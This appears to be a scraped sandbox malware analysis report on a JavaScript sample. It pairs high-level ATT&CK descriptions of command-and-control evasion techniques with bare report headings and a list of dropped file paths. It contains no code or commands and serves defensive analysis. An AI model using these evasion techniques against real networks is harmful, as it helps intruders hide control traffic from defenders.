Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 173992455338126060.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\edec1275-2b15-496a-b68b-d1ca51d476e0.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7836

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
173992455338126060.js